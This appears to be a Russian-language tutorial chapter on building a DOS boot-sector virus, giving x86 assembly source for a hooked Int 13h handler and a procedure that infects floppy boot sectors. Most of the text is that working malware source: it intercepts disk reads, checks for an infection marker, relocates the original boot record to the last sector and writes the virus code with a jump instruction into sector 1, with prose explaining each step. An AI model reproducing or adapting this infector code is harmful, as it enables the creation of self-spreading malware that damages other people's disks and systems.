Используемые процедуры

Пишем обработчик прерывания Int 13h

Наконец все подготовительные действия завершены, и мы можем заняться разработкой вирусного обработчика прерывания Int 13h. Именно этот обработчик должен отслеживать операции с гибкими дисками и при необходимости заражать их.

Начнем с выяснения условий, при которых вирус должен будет заразить BOOT - сектор дискеты. Пусть заражение будет выполняться в том случае, если происходит чтение любого сектора нулевой дорожки нулевой стороны, кроме первого. Исходя из этого, можно записать:

;Далее следует ;вирусный обра- ;ботчик Int 13h to_new_13h equ $ - my_prg ; ; new_13h: pushf ;Сохраним флаги cmp dl,01h ;Операция с дис- ;ководом " A " ;или " B " ? ja cs:to_sys_13h ;Нет ! cmp ah,02h ;Чтение ? jne cs:to_sys_13h ;Нет ! cmp ch,00h ;Дорожка " 0 " ? jne cs:to_sys_13h ;Нет ! cmp cl,01h ;Сектор-первый ? je cs:to_sys_13h ;Да ! call cs:boot_infect ;Вызовем проце- ;дуру заражения ;BOOT - секторов ;дискет to_sys_13h: ; popf ;Восстановим ;флаги db 0eah ;Перейдем к сис- old_13h dw 0 ;темному обра- old_13h_2 dw 0 ;ботчику Int 13h

Обратите внимание, что при чтении секторов 2...N нулевой дорожки нулевой стороны дискеты управление передается процедуре " boot_infect ", которая занимается заражением гибких дисков. Если бы заражение происходило при чтении любого сектора, то на зараженной машине все операции с дисководом выполнялись бы раздражающе медленно. Для передачи управления системному обработчику Int 13h используется обычная команда далекого перехода, записанная в виде машинной инструкции. Теперь разработаем процедуру " boot_infect ", заражающую дискеты. Естественно сделать ее по аналогии с фрагментом, который " работает " с винчестером. Поэтому:

boot_infect proc ; push ax ;Сохраним реги- push bx ;стры в стеке push cx ;прерванного push dx ;процесса push di ; push ds ; push es ; pushf ; ; push cs ;ES = CS pop es ; ; push cs ;DS = CS pop ds ; ; mov cx,3 ;Попробуем про- next_read: push cx ;честь BOOT - ;сектор дискеты. call cs:read_mbr ;На это даем три pop cx ;попытки (напри- jnc cs:inf_check ;мер,если двига- ;тель дисковода ;не успел разо- ;гнаться до ра- ;бочей скорости, ;то BIOS вернет ;ошибку -дискета ;сменена ! ) xor ah,ah ;При ошибке - pushf ;сбросим текущий call dword ptr old_13h - 100h ;дисковод jc cs:to_jump ;и повторим loop cs:next_read ;чтение to_jump: jmp cs:restore_regs ; ;BOOT - сектор ;заражен ? inf_check: cmp byte ptr ds:[455h],33h je cs:to_jump ;Да ! cmp word ptr ds:[40bh],200h ;512 байт в ;секторе ? jne cs:to_jump ;Нет ! ; mov dl_save - 100h,dl mov ch,79 ;Определим mov dh,byte ptr ds:[415h] cmp dh,0f0h ;параметры je cs:real_80 ;дискеты cmp dh,0f9h ;по ее je cs:real_80 ;Media cmp dh,0fdh ;Descryptor jne cs:to_jump ; mov ch,39 ; real_80: mov dh,01h ; mov cl,byte ptr ds:[418h] ;Перепишем нас- ;тоящий BOOT в ;последний сек- ;тор последней ;дорожки на пос- ;ледней стороне xor dl,dl ; call cs:write_mbr_last ; jc cs:to_jump ; ; mov additor - 100h,055h;Сформируем код, xor di,di ;который нужно mov cx,prg_lenght ;записать на copy_vir: mov al,byte ptr ds:[di];дискету вместо mov byte ptr ds:[di + 455h],al ;исходной BOOT - inc di ;записи loop cs:copy_vir ; mov word ptr ds:[400h],053ebh ; ; xor dh,dh ;И запишем его call cs:write_mbr ;в первый ;сектор нулевой ;дорожки нулевой ;стороны дискеты ; restore_regs: ;Восстановим из popf ;стека регистры pop es ; pop ds ; pop di ; pop dx ; pop cx ; pop bx ; pop ax ; ret ;Выйдем из про- ;цедуры boot_infect endp ;

Как вы успели заметить, текст процедуры очень похож на текст фрагмента, который будет заражать жесткий диск. Небольшие отличия связаны со спецификой работы дисковода и винчестера. Дело в том, что жесткий диск вращается непрерывно (за исключением некоторых новых систем с режимом экономии электроэнергии), а двигатель дисковода запускается только при закрытии его флажка (если быть точным, это зависит от конструкции дисковода.) Поэтому, если двигатель дисковода к моменту выполнения операции чтения не набрал необходимую скорость, BIOS вернет ошибку и сообщит, что дискета сменена. В этом случае рекомендуется повторить чтение, предварительно сбросив накопитель. Наш вирус повторяет попытку чтения три раза, после чего в случае неудачи отказывается от заражения такого диска.

Несколько раньше мы выяснили, что для разных версий MS DOS и WINDOWS программа начальной загрузки в BOOT - секторе дискеты располагается по разным смещениям. Сделано это по той причине, что старшие версии операционной системы хранят в загрузочном секторе более подробные сведения о диске. Наибольшим смещением,с которым вы когда - либо можете встретиться, является 0055h. Поэтому наш вирус будет помещать в BOOT - сектор свой код, ориентируясь именно на приведенное значение. Тогда в первые два байта сектора должна быть записана команда перехода на начало этого кода, а именно : " EB 53 ". Формат BOOT - сектора приведен в ПРИЛОЖЕНИИ 2.

И последнее - вирус определяет параметры заражаемой дискеты исходя из ее Media Descryptor. Сам Descryptor содержится в BOOT - секторе любой дискеты и вместе с некоторыми другими параметрами однозначно задает ее тип. Интерпретация различных дескрипторов приведена в конце ПРИЛОЖЕНИЯ 2.

Фактически вирус уже изготовлен. Осталось лишь привести тексты процедур, которые он будет использовать в своей работе:

read_mbr proc ; xor dh,dh ; mov ax,0201h ;Процедура mov bx,400h ;читает первый mov cx,01h ;сектор нулевой pushf ;дорожки нулевой call dword ptr old_13h - 100h ;стороны указан- ret ;ного накопителя read_mbr endp ; ; write_mbr proc ; mov ax,0301h ;Процедура mov cx,01h ;помещает вирус- pushf ;ный код в BOOT- call dword ptr old_13h - 100h ;сектор дискеты ret ;или записывает write_mbr endp ;его вместо MBR ;винчестера ; write_mbr_last proc ;Процедура ;переписывает ;исходную BOOT- ;запись или MBR mov num_head - 100h,dx ;в заданный mov cyl_sect - 100h,cx ;сектор mov dl,dl_save - 100h ;заражаемого ;диска mov ax,0301h ; pushf ; call dword ptr old_13h - 100h ; ret ; write_mbr_last endp ;

Процедуры построены очень просто, и объяснять их работу, скорее всего, нет смысла. Отметим только, что все вызовы Int 13h оформлены в виде вызова дальней процедуры. Это необходимо для предотвращения потенциальных " глюков ", связанных с нереентерабельностью программ, выполняющих обработку Int 13h. Хотя такой метод несколько увеличивает размер вирусного кода.